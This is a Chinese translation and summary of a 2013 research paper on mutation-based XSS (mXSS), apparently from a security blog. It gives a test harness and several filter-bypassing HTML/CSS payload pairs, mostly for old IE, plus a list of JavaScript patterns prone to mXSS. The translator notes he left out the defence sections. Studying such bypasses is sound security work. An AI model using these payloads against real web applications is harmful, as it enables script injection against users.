gainover · 2014/02/24 11:43

0x00 译者的话


本文原文是由国外大牛Mario Heiderich在2013年所写的一篇paper:mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. 本人觉得此类mXSS攻击较为隐蔽,常规的XSS过滤器并不能防止此类攻击。在测试QQ空间日志中的确存在此类问题后,认为mXSS在WEB应用中还是存在较大的潜在危害,因此,决定将此文做一个翻译。但是,一来由于水平有限,仅能依靠自己浅薄的理解来大致的翻译一下,文中图片以及代码都是在自己的理解上加以重新阐述,也许这样更加易于读者掌握。如果英文较好的同学可自行阅读英文原版。二来,我个人仅注重“攻”的一部分,本文中我认为实用性不高的部分,以及如何防御此类攻击的大幅段落,我并未进行翻译,因而有需要的读者也需要自行去了解这些部分。不论如何,希望本文能够让国内的研究者们对mXSS有一个基本的了解。

0x01 简介


不论是服务器端或客户端的XSS过滤器,都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入(图1)。然而,如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XSS的攻击流程,被称为突变XSS(mXSS, Mutation-based Cross-Site-Scripting),整个流程的示意图见图2。从流程中不难看出,突变发生在XSS过滤流程之后,因此不论是服务器端还是客户端的XSS过滤器对这类攻击并不能进行有效的防御。

图1. XSS过滤所假设的前提

图2. mXSS攻击流程

将内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,根据原文作者的统计,1W个常见的WEB应用中,大约有1/3使用了innerHTML属性,这将会导致潜在的mXSS攻击。从浏览器角度来讲,mXSS对三大主流浏览器(IE,CHROME,FIREFOX)均有影响。表1列出到目前为止已知的mXSS种类,接下来的部分将分别对这几类进行讨论与说明。建议读者主要使用IE8来测试本文中的代码。具体测试代码如下:

#!html
<div id="testa">xx</div>
<div id="testb">xx</div><script>
//请自行将输入的HTML代码中的双引号以及 \进行转义操作
//其中: " -> \" , \ -> \\
var m="此处输入被测试的HTML代码"; //1. 将用户输入内容放入innerHTML
var x=document.getElementById("testa");
x.innerHTML=m;
//2. 发生突变后,取出突变后的内容,放入html变量
var html=x.innerHTML;
//3. 弹出突变后的代码
alert(html);
//4. 将突变后的代码输出到DOM中
document.getElementById("testb").innerHTML = html;</script>

表1. 本文中所涉及的mXSS种类

英文 中文
Backtick Characters breaking Attribute Delimiter Syntax 反引号打破属性边界导致的 mXSS
XML Namespaces in Unknown Elements causing Structural Mutation 未知元素中的xmlns属性所导致的mXSS
Backslashes in CSS Escapes causing String-Boundary Violation CSS中反斜线转义导致的mXSS
Misfit Characters in Entity Representation breaking CSS Strings CSS中双引号实体或转义导致的mXSS
CSS Escapes in Property Names violating entire HTML Structure CSS属性名中的转义所导致的mXSS
Entity-Mutation in non-HTML Documents 非HTML文档中的实体突变
Entity-Mutation in non-HTML context of HTML documents HTML文档中的非HTML上下文的实体突变

0x02 反引号打破属性边界导致的 mXSS


该类型是最早被发现并利用的一类mXSS,于2007年被提出,随后被有效的修复,所以当前绝大多数用户的浏览器不会被此mXSS所影响。当时的利用代码如下:

#!html
输入形式:<img src="test.jpg" alt ="``onload=xss()" />突变形式:<IMG alt =``onload=xss() src ="test.jpg"> 可以看到,突变后的形式变成了有效的XSS攻击代码。

0x03 未知元素中的xmlns属性所导致的mXSS


一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。对于开发者来说,虽然是未知标签,但是我们还是可以通过设置这些标签的xmlns 属性,让浏览器知道这些未知的标签是的XML命名空间是什么。一般来说,在HTML中,指定这些未知标签的xmlns属性并没有任何意义,也不会改变它们在浏览器中的外观之流的东西。但是,这些被指定了xmlns属性的标签进入innerHTML后,被浏览器所渲染,就会发生一些变化,而这个变化被十分猥琐的用于了XSS。首先我们来看正常情况下设置xmlns的情况。

#!html
输入形式:<pkav xmlns="urn:wooyun">123突变形式:<wooyun:pkav xmlns="urn:wooyun">123</wooyun:pkav>

接着猥琐流很快就会想到下面的代码,可以看出,成功变成了含有οnerrοr=alert(1) 的img标签。

#!html
输入形式:<pkav xmlns="urn:img src=1 onerror=alert(1)//">123突变形式:<img src=1 onerror=alert(1)//:pkav xmlns="urn:img src=1 onerror=alert(1)//">123</img src=1 onerror=alert(1)//:pkav>

扩展:细心的同学也许会注意到,我们的代码中,并未闭合标签。那么一个经常碰到的场景是:XSS过滤器会在解析HTML代码时,自动补全未闭合的标签。这样一来,就会出现下面的场景:

#!html
输入形式:<pkav xmlns="urn:wooyun">123过滤后形式:<pkav xmlns="urn:wooyun">123</pkav>突变后形式:<?XML:NAMESPACE PREFIX = [default] urn:wooyun NS = "urn:wooyun" /><pkav xmlns="urn:wooyun">123</pkav>

聪明的我们应该不难想到应对办法,这应该也就是html5sec.org/?xmlns#97中所描述问题的发现过程(由Silin于2011年发现)。

#!html
输入形式:<pkav xmlns="><iframe onload=alert(1)">123</pkav>突变后形式:<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>

0x04 CSS中反斜线转义导致的mXSS


在CSS中,允许用\来对字符进行转义,例如:property: 'v\61 lue' 表示 property:'value',其中61是字母a的ascii码(16进制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情况下,这种转义不会有问题。但是碰上innerHTML后,一些奇妙的事情就发生了。看以下代码。

#!html
输入形式:<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>突变形式:<P style="FONT-FAMILY: 'ar';x:expression(xss());ial'"></P>

可以看到,突变后的形式中,原输入的font-family的属性值中的所有转义形式均被解码回它原有的形式。其中\27被解码为单引号,提前闭合掉了FONT-FAMILY属性,接着插入了我们自定义的x属性,利用expression来执行Javascript代码。如果结合我们先前已经有所了解的CSS 中的一些XSS技巧,将会让情况看起来变得更加糟糕。例如以下代码,看起来,我们可以把expression变得乱七八糟。

#!html
输入形式:<p style="font-family:'ar&#x5c;27 \3bx\3a ex\5cpre\2f**\2fssion\28 xss\28 1\29\29\3bial';"></p>突变形式:<P style="FONT-FAMILY: 'ar';x:ex\pre/**/ssion(xss(1));ial'"></P>

0x05 CSS中双引号实体或转义导致的mXSS


接着上一部分,依然是CSS中所存在的问题,既然反斜线转义会被解码为它原本的形式,那么会出现下面这样一种情况。

#!html
输入形式:<p style="font-family:'aaaa\22\3e\3cimg onerror ….';"></p>预期的突变形式:<p style="font-family:'aaaa"><img onerror ….';"></p>

这样一来,不就可以插入任意标签了么?想法很好。但实际上如何呢?

#!html
实际的突变形式:<P style="FONT-FAMILY: 'aaaa'><img onerror ….'"></P>

并非我们想象的那样,而是我们的\22竟然变成了单引号,按照原文作者的说法,我们只能对这种奇怪的结果所产生的原因做出推测:\22 先被解码为 ",但考虑到双引号会闭合掉style属性,所以浏览器渲染引擎将"进一步转变为了',以避免这种情况的发生。当然,这也意味这,除了 \22,\0022 之外,HTML实体如:&quot; &#x22; &#34; 等双引号的表示形式均可导致这类问题。

0x06 CSS属性名中的转义所导致的mXSS


前2部分都讲到的CSS属性值中的情况,如果CSS属性名中出现了反斜线转义,又会如何?见下面代码。

#!html
输入形式:<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">突变形式:<IMG style="font-fam"onerror=alert(1) ily: ''" src="1">

可以看到,我们用转义的内容,嵌入到font-family的属性名中,突变后,\22被解码回双引号,并且闭合掉了style属性,从而我们可以通过onerror事件执行javascript代码,需要注意的是,=号,括号等也需要被写为转义形式。我们亦可在\22后加上\3e来闭合掉img标签,并在此之后插入自己的HTML标签。

有时,我们还会碰到style属性用单引号做边界符的情况。对于这种情况,style的边界符会被渲染回双引号,我们的\22依然可以发挥它的作用,例如:

#!html
输入形式:<p style='fo\27\22o:bar'>突变形式:<p style="fo'"o: bar"></p>

0x07 Listing标签导致的mXSS


此外,在本文原作者的PPT中,还提到了一个<listing>标签导致的mXSS,大家理解上面的例子后,本例也较为简单。

#!html
输入形式:
<listing>&lt;img src=1 onerror=alert(1) &gt;</listing>突变形式:<LISTING><img src=1 onerror=alert(1) ></LISTING>

在 WooYun: QQ空间某功能缺陷导致日志存储型XSS - 15 中,笔者就使用了该标签来触发了 mXSS(IE8及IE9下目前均有效),读者可以参考该实际案例进一步了解mXSS的攻击及挖掘流程。

0x08 易于被mXSS攻击的Javascript代码


上面已经讲解了不同种类的mXSS,那么什么样的代码易于遭受mXSS攻击呢?根据图2中的mXSS流程,JS代码中,至少要将用户提供的内容放入DOM中两次,才会触发XSS攻击。原作者给出了以下代码场景:

1) a.innerHTML = b.innerHTML ;
2) a.innerHTML += 'additional content';
3) a.insertAdjacentHTML ( 'beforebegin' , b.innerHTML ) ;
4) document.write (b.innerHTML) ;

其中,1) 与 4) 里的b.innerHTML含有突变后的内容,被通过innerHTML或者是document.write的方式再次输出到DOM中,从而触发mXSS。 3)使用了insertAdjacentHTML函数(算是innerHTML的加强版,具体用法可自行了解)来将含有突变内容的b.innerHTML加入a中,从而导致mXSS。而2) 则较为隐蔽,a.innerHTML中存在突变后的内容,当我们使用+=来向a.innerHTML中追加内容时,a会被重新渲染,从而触发mXSS。

0x09 总结


原文中还有两类:非HTML文档中的实体突变以及HTML文档中的非HTML上下文的实体突变,本人觉得被实际应用的场景并不丰满,就不进行阐述了,有兴趣的研究者可以自行了解。 希望看过本文后,可以为大家提供一些思路性的东西。 如果你有此方面的意外发现,一定不要忘了与我分享:[email protected](欢迎邮箱xss来稿)。

0x10 参考文献


1. Heiderich, M., Schwenk, J., Frosch, T., Magazinius, J., & Yang, E. Z. (2013, November). mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. In Proceedings of the 2013 ACM SIGSAC conference on Computer & communications security (pp. 777-788). ACM.

2. Heiderich, M. The innerHTML Apocalypse. www.slideshare.net/x00mario/th…. Security Research / Penetration Testing at Cure53 on Apr 25, 2013

mXSS攻击的成因及常见种类相关推荐

  1. 黑客攻击入侵流程及常见攻击工具

    黑客攻击入侵流程及常见攻击工具 1. 踩点 (Footprinting) 踩点目的: 主动获取信息情报, 确定目标域名系统, 网络地址范围, 名字空间, 关键系统,如网关.邮件.服务器等设置 踩点相关 ...

  2. 常见鸟的种类及特点_常见鸟类 我国鸟类常见种类及分布

    常见鸟类 我国鸟类常见种类及分布 下面介绍我国东北常见鸟类,华北常见鸟类,南方常见鸟 类,草原常见鸟类,农田常见鸟类,居民点常见鸟类,水域常见 鸟类,南海诸岛常见鸟类. 在我国东北针阔叶混交林地区,常 ...

  3. eja变送器故障代码al01_EJA差压变送器三种故障分析及常见种类

    EJA差压变送器三种故障分析及常见种类! EJA差压变送器故障,EJA差压变送器种类 前段时间小编由于工作原因对EJA差压变送器这块的技术知识就没有做太多的更新,为您带来的不变小编向您表示抱歉.闲话少 ...

  4. 常见鸟的种类及特点_鹬科的外形特征、生活习性、常见种类、鹬科大全

    鹬科(学名:Scolopacidae,snipes)是鸟纲鸻形目的1科.共有29属77种,分布遍于全世界.在北极和亚北极繁殖,到热带一些地区越冬.中国有14属38种. 中文目名:鸻形目(Charadr ...

  5. CC攻击是什么?常见的防御手段有哪些?

    CC攻击可以归为DDoS攻击的一种,其原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃. CC攻击主要模拟多个用户不停地进行访问那些需要大量数据操作的页面,造 ...

  6. HelloKitty勒索软件增加了DDoS攻击、十大常见的网络钓鱼邮件主题|11月2日全球网络安全热点

    安全资讯报告 假冒科技公司的诈骗仍然是最大的网络钓鱼威胁之一 根据网络安全公司NortonLifeLock的一份报告,假冒科技公司的诈骗仍然是最大的网络钓鱼威胁之一. 该公司的全球研究团队Norton ...

  7. 蓝牙Profile的概念和常见种类

    蓝牙Profile Bluetooth的一个很重要特性,就是所有的Bluetooth产品都无须实现全部 的Bluetooth规范.为了更容易的保持Bluetooth设备之间的兼容,Bluetooth规 ...

  8. python3中字符串编码常见种类_Python基础篇—标准数据类型—String字符串编码问题...

    我要开始写String编码问题了...脑壳疼.. 在String字符串的第一篇末尾有留一个坑,就是关于中文字符串编码.整个编码的故事说起来都是很费劲的,我也只能把我所知道的梳理整理一下,在日常敲码过程 ...

  9. BlueTooth: 蓝牙Profile的概念和常见种类

    蓝牙Profile Bluetooth的一个很重要特性,就是所有的Bluetooth产品都无须实现全部 的Bluetooth规范.为了更容易的保持Bluetooth设备之间的兼容,Bluetooth规 ...

最新文章

  1. 将集转换为列表而不创建新列表
  2. MS SQL专用管理员连接DAC
  3. MongoDB 2.5 版本将提供新的查询引擎
  4. Oracle的数据并发与一致性详解(下)
  5. [PYTHON]一个简单的单元測试框架
  6. python 颜色大全 颜色对应 matplotlab plot 颜色对应
  7. 为什么保险公司一直不停地招人?
  8. 微信小程序在线考试项目开发-用户授权登录、身份信息获取
  9. imagemagick对于图像处理的一些方式
  10. 基于SWT组件的IE内核Java简易浏览器
  11. FreeBSD新的JAIL管理工具QJAIL
  12. EAN13条形码了解,有c测试代码
  13. http://www.hi-donet.com/网站
  14. 阿里云Linix上 python脚本 发邮件发送不出去问题
  15. 案例-旋转中心(CSS3)
  16. 如何高效利用GitHub
  17. EMQ X Newsletter 202110:v5.0-beta.2 进展顺利,云服务多项功能优化
  18. 推荐系统- NCF(Neural Collaborative Filtering)的推荐模型与python实现
  19. android shn1 获取_Android Studio获取开发版SHA1值和发布版SHA1值的史上最详细方法
  20. 模切刀模的日常维护有哪些呢?

热门文章

  1. Oracle-trigger触发器解读
  2. 《数据结构》知识点Day_01
  3. 谈谈mysql优化_浅谈MySQL SQL优化
  4. python 第一行输入n表示一天中有多少人买水果_Python编程:从入门到实践——【作业】——第五章作业...
  5. 前端改变div排序_转行学习web前端开发,需要哪些工具和需要学习什么?
  6. activity 启动模式_Android世界:Activity的启动模式及其适用范围
  7. 2021-03-16 汽车二自由度操纵稳定性 Matlab simulink
  8. access2013数据库实验笔记_医学科研实验基础知识笔记(十):甲基化
  9. K - 老鼠走迷宫(DFS)
  10. 【自动驾驶】摄像头单目测距原理及实现